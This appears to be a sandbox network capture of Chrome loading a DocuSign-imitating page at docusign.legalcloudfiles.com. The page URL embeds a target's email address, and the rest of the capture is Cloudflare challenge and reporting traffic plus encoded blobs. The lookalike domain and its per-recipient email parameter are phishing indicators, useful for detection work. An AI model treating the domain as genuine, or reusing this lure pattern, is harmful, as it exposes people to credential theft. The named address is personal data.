49geJKPgqeAjJ2Cg2l6fGifcIiin5K3h7F8c5atmIrArZyRkaKzx7mWhsmoicTDzJy8rMOOrKWi2bSopp6Xm8yzraWk2eOl2b+9uL/op7Hrsb+u9sLL1vq0/MXI6Pvsz7vO9eXzxNz28+YM5PjZ5ufN3t8UBNTsBwT2HPQAEPb33e7v3BTk/BcUBywFECYHCO3+AQ4k9A0nJBc8FSk9Fxj9DxE0NAUdNzQnTCU4DycoDh8hVEQVLUdEN1w1SC83

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49765	172.67.210.82	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:08 UTC	697	OUT	GET /favicon.ico HTTP/1.1 Host: docusign.legalcloudfiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=mflm6i3anin80rqnr4idh7h7ci
2025-01-14 16:23:08 UTC	844	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 16:23:08 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=01ICfW1t0CMra4bjozcROdKJQCtgAS50puxELdnvn9N0LcAhSOfj77P6t6V5dvkXoIxeUV2mhQR%2BdBk8tHtXUiVv8Mekj8f6Q%2F9C1B%2FpY9Js9pXmbwrS9RsmjWNCvyWwhpg090TAkVvP2gaf4mSj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901ef8063d10425f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1609&rtt_var=614&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=1275&delivery_rate=1766485&cwnd=220&unsent_bytes=0&cid=51fd305154167d02&ts=358&x=0"
2025-01-14 16:23:08 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-01-14 16:23:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49769	35.190.80.1	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:09 UTC	563	OUT	OPTIONS /report/v4?s=01ICfW1t0CMra4bjozcROdKJQCtgAS50puxELdnvn9N0LcAhSOfj77P6t6V5dvkXoIxeUV2mhQR%2BdBk8tHtXUiVv8Mekj8f6Q%2F9C1B%2FpY9Js9pXmbwrS9RsmjWNCvyWwhpg090TAkVvP2gaf4mSj HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://docusign.legalcloudfiles.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:09 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 14 Jan 2025 16:23:09 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49770	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:09 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:09 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 16:23:09 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: lA2YxzpXiqdiwlZZs29EkOqbQKVGfBATkChSRcC/sDSb3yjYtZXsd3McTZpY29t4hS80HXB7GbI0DyKBsKSAvA==$QC7xYOCbewF8qTSJp8Hpmw== Server: cloudflare CF-RAY: 901ef80c8ac315c3-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:09 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49771	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:09 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/901ef7f939e87c7b/1736871788138/0b4d96bbec8e5a8086a586bdf9aa6c0898c981bb733b13a72e8175943b928a42/XaIEhYpzMd8fGPW HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:09 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 14 Jan 2025 16:23:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-14 16:23:09 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 43 30 32 57 75 2d 79 4f 57 6f 43 47 70 59 61 39 2d 61 70 73 43 4a 6a 4a 67 62 74 7a 4f 78 4f 6e 4c 6f 46 31 6c 44 75 53 69 6b 49 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gC02Wu-yOWoCGpYa9-apsCJjJgbtzOxOnLoF1lDuSikIAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-14 16:23:09 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49772	35.190.80.1	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:10 UTC	492	OUT	POST /report/v4?s=01ICfW1t0CMra4bjozcROdKJQCtgAS50puxELdnvn9N0LcAhSOfj77P6t6V5dvkXoIxeUV2mhQR%2BdBk8tHtXUiVv8Mekj8f6Q%2F9C1B%2FpY9Js9pXmbwrS9RsmjWNCvyWwhpg090TAkVvP2gaf4mSj HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 486 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:10 UTC	486	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 34 36 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6f 63 75 73 69 67 6e 2e 6c 65 67 61 6c 63 6c 6f 75 64 66 69 6c 65 73 2e 63 6f 6d 2f 53 30 36 67 61 2f 3f 65 3d 65 63 61 73 74 69 6c 6c 6f 40 73 65 67 75 72 69 64 61 64 61 6d 65 72 69 63 61 2e 63 6f 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 30 2e 38 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 Data Ascii: [{"age":0,"body":{"elapsed_time":1465,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com","sampling_fraction":1.0,"server_ip":"172.67.210.82","status_code":40
2025-01-14 16:23:10 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 14 Jan 2025 16:23:09 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49773	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:10 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901ef7f939e87c7b/1736871788142/WDV5ROEEdAhPiNm HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:10 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:10 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901ef81419b815c7-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 04 00 00 00 1b 08 02 00 00 00 d4 13 b9 67 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRgIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49775	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:11 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901ef7f939e87c7b/1736871788142/WDV5ROEEdAhPiNm HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:11 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901ef8198c0742d8-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 04 00 00 00 1b 08 02 00 00 00 d4 13 b9 67 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRgIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49776	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:11 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32931 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:11 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 65 66 37 66 39 33 39 65 38 37 63 37 62 3d 49 7a 4a 65 6d 6a 32 30 70 68 7a 79 7a 79 53 7a 32 6c 32 68 52 76 79 52 34 6a 79 64 67 79 38 65 68 6b 34 78 79 41 79 33 42 37 6a 31 79 2d 32 76 69 37 7a 32 4e 79 42 65 59 58 4b 65 79 53 4a 79 4d 65 76 34 48 79 4d 62 6b 79 4e 34 79 6c 74 79 72 6d 32 7a 65 69 79 4c 37 79 25 32 62 79 4f 37 79 30 66 2b 67 55 6b 79 58 6c 4b 37 48 76 79 58 79 58 66 74 79 46 65 6c 63 79 30 65 4c 63 4d 4d 64 65 32 63 79 50 65 34 4b 79 74 71 55 65 65 79 34 4c 79 79 62 48 79 79 49 24 59 71 36 4a 70 79 4c 73 4a 4e 41 71 41 78 37 65 34 50 4c 75 58 4f 4b 77 66 4d 79 32 59 78 4c 50 44 4f 48 73 4a 37 4f 68 4a 6c 4a 78 6c 4a 74 75 79 79 57 50 58 78 6a 4d 47 47 71 6d 34 78 57 67 58 4c 72 2b 5a 52 6e 67 5a 78 2d 4a 64 49 36 52 52 46 Data Ascii: v_901ef7f939e87c7b=IzJemj20phzyzySz2l2hRvyR4jydgy8ehk4xyAy3B7j1y-2vi7z2NyBeYXKeySJyMev4HyMbkyN4yltyrm2zeiyL7y%2byO7y0f+gUkyXlK7HvyXyXftyFelcy0eLcMMde2cyPe4KytqUeey4LyybHyyI$Yq6JpyLsJNAqAx7e4PLuXOKwfMy2YxLPDOHsJ7OhJlJxlJtuyyWPXxjMGGqm4xWgXLr+ZRngZx-JdI6RRF
2025-01-14 16:23:11 UTC	16384	OUT	Data Raw: 6c 48 32 74 48 65 79 67 77 36 78 5a 76 34 42 6a 2b 78 51 4d 72 79 24 61 35 61 51 79 79 35 79 4b 79 4a 65 79 70 79 45 65 4c 65 34 4e 33 4f 37 50 76 6a 70 65 4c 79 66 4a 34 50 79 6b 79 32 71 69 6b 79 51 79 32 6c 6a 30 79 37 53 6a 4a 34 48 79 52 65 45 70 57 69 79 31 65 32 35 79 65 79 62 65 43 70 79 66 79 4f 65 68 6b 32 70 76 46 65 59 6b 79 33 79 52 79 68 6b 34 35 65 4a 48 32 6b 79 62 79 6b 79 31 48 32 70 76 6b 79 68 6b 32 45 4a 6f 79 4d 6c 65 5a 76 50 79 69 67 42 65 79 31 6c 45 4c 32 42 37 71 65 43 7a 32 77 35 6b 65 66 37 66 6d 79 6f 73 50 44 50 47 79 31 6c 79 37 6a 74 32 6d 79 5a 37 32 6c 32 34 79 66 37 43 66 79 4f 79 66 6f 32 48 79 77 65 6c 76 4c 6c 79 6b 65 59 70 32 74 6b 6b 79 6c 76 6a 78 32 47 79 79 79 4c 4d 65 73 65 45 79 32 4a 79 31 79 32 65 34 6e 79 Data Ascii: lH2tHeygw6xZv4Bj+xQMry$a5aQyy5yKyJeypyEeLe4N3O7PvjpeLyfJ4Pyky2qikyQy2lj0y7SjJ4HyReEpWiy1e25yeybeCpyfyOehk2pvFeYky3yRyhk45eJH2kybyky1H2pvkyhk2EJoyMleZvPyigBey1lEL2B7qeCz2w5kef7fmyosPDPGy1ly7jt2myZ72l24yf7CfyOyfo2HywelvLlykeYp2tkkylvjx2GyyyLMeseEy2Jy1y2e4ny
2025-01-14 16:23:11 UTC	163	OUT	Data Raw: 6d 34 6c 73 50 39 6f 4f 6c 51 74 4f 75 72 46 42 54 49 72 66 72 2d 42 2b 43 4d 4c 54 53 7a 4e 2d 6f 4b 78 2d 4b 39 52 74 4c 4e 79 57 33 62 57 6a 71 79 6f 44 58 48 5a 50 72 79 48 53 6e 24 36 79 4a 31 44 46 77 68 79 30 71 44 65 6a 68 65 50 47 4e 32 4c 72 32 35 2b 41 4c 66 24 41 36 79 59 65 79 6f 69 4c 6b 6c 65 34 67 5a 43 46 37 73 41 4d 65 45 52 43 2d 34 34 63 73 30 72 6e 44 72 64 6b 24 32 75 77 4a 37 31 57 49 75 30 52 79 71 39 2d 46 4a 42 30 53 7a 79 48 34 4a 65 31 4a 6a 55 49 79 79 79 Data Ascii: m4lsP9oOlQtOurFBTIrfr-B+CMLTSzN-oKx-K9RtLNyW3bWjqyoDXHZPryHSn$6yJ1DFwhy0qDejhePGN2Lr25+ALf$A6yYeyoiLkle4gZCF7sAMeERC-44cs0rnDrdk$2uwJ71WIu0Ryq9-FJB0SzyH4Je1JjUIyyy
2025-01-14 16:23:12 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26320 Connection: close cf-chl-gen: dPPDx1rIrnHSIJtRoQKZUQjxNEN6b5E1PUMrHNivp1fNuyxPSxDC2sQ6J62Wz8yf$RJlyBNazuAicM90kf3NELg== Server: cloudflare CF-RAY: 901ef81bee5fefa3-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:12 UTC	1047	IN	Data Raw: 74 70 4e 37 65 4a 58 41 67 71 57 2b 78 4a 65 72 79 4b 6e 41 6e 39 4c 51 6a 4a 61 33 74 72 6d 61 75 37 72 63 33 4c 61 2b 6d 62 37 42 75 36 2f 43 74 4f 57 37 32 64 75 38 76 71 7a 63 35 63 32 36 33 61 72 56 35 4f 76 4a 73 74 50 79 75 4b 2f 64 39 50 6a 76 38 50 33 31 35 75 48 41 78 67 61 38 43 51 33 38 2f 4f 50 35 2b 75 37 76 43 4d 33 32 41 4d 72 68 30 42 63 59 38 76 44 38 31 2b 72 38 48 50 72 74 32 43 4d 6b 2b 65 6f 4e 48 67 38 4f 43 53 6b 62 49 51 73 65 48 79 4d 59 46 69 55 78 46 67 6f 35 4c 42 33 34 2b 54 67 73 47 77 34 47 51 30 51 66 48 69 68 41 47 7a 78 4a 49 7a 45 50 4b 7a 41 54 51 43 77 56 55 43 6f 63 56 68 67 71 48 47 46 66 57 6c 42 66 51 7a 6c 49 5a 56 39 64 4a 31 6b 73 62 43 78 45 63 32 6b 77 4e 53 35 70 56 44 4a 4d 63 32 39 37 4e 45 70 4c 51 56 68 Data Ascii: tpN7eJXAgqW+xJeryKnAn9LQjJa3trmau7rc3La+mb7Bu6/CtOW72du8vqzc5c263arV5OvJstPyuK/d9Pjv8P315uHAxga8CQ38/OP5+u7vCM32AMrh0BcY8vD81+r8HPrt2CMk+eoNHg8OCSkbIQseHyMYFiUxFgo5LB34+TgsGw4GQ0QfHihAGzxJIzEPKzATQCwVUCocVhgqHGFfWlBfQzlIZV9dJ1ksbCxEc2kwNS5pVDJMc297NEpLQVh
2025-01-14 16:23:12 UTC	1369	IN	Data Raw: 47 73 4d 4f 6d 32 38 57 6e 73 63 44 57 6e 38 7a 42 72 64 44 46 34 65 65 30 70 39 6e 6c 31 39 62 6c 30 61 69 38 79 62 44 6e 72 75 53 7a 78 65 71 7a 75 4d 6b 41 79 73 33 33 34 41 50 66 77 50 50 79 39 66 51 4a 33 74 54 46 44 4e 6a 37 33 38 30 4e 45 51 2f 68 44 2b 2f 6c 35 64 76 74 42 74 6f 67 38 74 72 34 46 39 72 35 34 75 63 41 43 76 30 45 49 2f 30 61 49 78 30 6b 37 41 59 4a 43 50 4d 6e 4f 52 55 55 4f 52 62 38 42 79 6f 78 41 43 34 50 4e 51 59 36 41 41 45 53 52 52 63 73 4b 30 45 36 4b 6b 67 65 44 41 63 54 49 52 42 5a 44 43 39 62 47 46 30 33 46 79 73 78 51 6a 31 58 55 30 38 6b 59 56 39 67 4c 45 51 6d 51 30 74 6e 50 58 4a 6e 51 6e 4e 51 57 55 4a 75 5a 54 56 4a 54 54 31 39 4f 6c 6c 31 66 46 64 6b 64 48 42 52 61 49 4e 43 65 47 65 4c 69 59 57 44 69 49 56 71 69 32 Data Ascii: GsMOm28WnscDWn8zBrdDF4ee0p9nl19bl0ai8ybDnruSzxeqzuMkAys334APfwPPy9fQJ3tTFDNj7380NEQ/hD+/l5dvtBtog8tr4F9r54ucACv0EI/0aIx0k7AYJCPMnORUUORb8ByoxAC4PNQY6AAESRRcsK0E6KkgeDAcTIRBZDC9bGF03FysxQj1XU08kYV9gLEQmQ0tnPXJnQnNQWUJuZTVJTT19Oll1fFdkdHBRaINCeGeLiYWDiIVqi2
2025-01-14 16:23:12 UTC	1369	IN	Data Raw: 6b 4d 32 2f 6e 74 2f 43 32 75 43 79 6e 64 33 5a 6f 4f 66 70 71 61 61 6c 72 74 72 52 72 63 62 46 34 65 33 4a 73 36 7a 71 74 64 7a 77 39 67 48 71 2b 74 4c 53 37 65 44 39 38 74 4c 43 2b 2b 4c 47 37 65 48 6d 36 2f 41 4a 30 52 45 43 41 2b 72 5a 45 74 63 4a 36 66 33 52 36 77 72 74 42 4e 33 74 2b 75 54 79 35 77 41 66 44 42 76 70 47 78 44 6e 45 75 38 4b 49 2f 34 74 4a 76 59 4a 4a 44 6b 36 4d 67 73 56 45 55 4e 43 44 69 34 32 52 6a 39 47 51 68 34 35 50 6b 63 4c 49 30 45 72 42 6a 39 50 45 55 31 53 4b 54 56 51 4f 46 6b 61 54 44 78 4c 48 68 59 34 4d 43 4a 41 50 6c 39 6a 4a 47 34 72 62 69 64 6f 62 7a 41 30 4d 32 49 79 59 7a 52 46 58 44 6c 34 58 32 75 42 62 48 35 74 50 33 77 38 65 45 56 6c 69 6f 70 39 69 6f 4e 6a 65 34 70 37 63 57 6c 75 63 59 35 53 56 49 4a 6b 6d 59 56 Data Ascii: kM2/nt/C2uCynd3ZoOfpqaalrtrRrcbF4e3Js6zqtdzw9gHq+tLS7eD98tLC++LG7eHm6/AJ0RECA+rZEtcJ6f3R6wrtBN3t+uTy5wAfDBvpGxDnEu8KI/4tJvYJJDk6MgsVEUNCDi42Rj9GQh45PkcLI0ErBj9PEU1SKTVQOFkaTDxLHhY4MCJAPl9jJG4rbidobzA0M2IyYzRFXDl4X2uBbH5tP3w8eEVliop9ioNje4p7cWlucY5SVIJkmYV
2025-01-14 16:23:12 UTC	1369	IN	Data Raw: 4f 53 34 77 75 6e 58 33 36 71 73 35 63 44 77 38 64 33 63 73 37 44 44 37 4c 61 34 31 38 4b 30 38 4c 62 38 76 50 33 4b 34 62 7a 50 38 66 77 41 78 50 7a 41 34 41 62 6e 33 41 49 43 37 66 4d 47 35 2b 30 57 31 74 62 6d 46 2b 38 63 39 66 77 62 43 64 66 38 37 68 44 76 2f 53 6b 6a 32 2f 37 69 47 2b 63 4d 2b 50 67 43 49 41 49 68 41 79 2f 79 38 7a 66 34 4a 44 34 37 50 42 6e 2b 46 42 4d 54 48 6a 49 68 46 55 63 47 48 42 55 4a 47 53 52 43 53 45 49 70 45 6c 55 4e 51 45 59 34 56 30 31 4f 52 54 77 56 4e 57 42 61 55 78 73 76 59 44 38 7a 57 57 74 6c 52 31 31 42 50 32 70 45 62 46 4a 44 56 6c 49 79 5a 6a 52 73 62 30 63 36 53 6a 39 72 50 55 36 44 67 30 4e 53 59 6c 74 57 67 47 6d 4c 61 45 6c 38 65 33 35 39 6b 57 64 64 54 6c 56 6a 67 34 36 4a 6d 5a 69 58 6f 49 39 32 62 6c 2b 67 Data Ascii: OS4wunX36qs5cDw8d3cs7DD7La418K08Lb8vP3K4bzP8fwAxPzA4Abn3AIC7fMG5+0W1tbmF+8c9fwbCdf87hDv/Skj2/7iG+cM+PgCIAIhAy/y8zf4JD47PBn+FBMTHjIhFUcGHBUJGSRCSEIpElUNQEY4V01ORTwVNWBaUxsvYD8zWWtlR11BP2pEbFJDVlIyZjRsb0c6Sj9rPU6Dg0NSYltWgGmLaEl8e359kWddTlVjg46JmZiXoI92bl+g
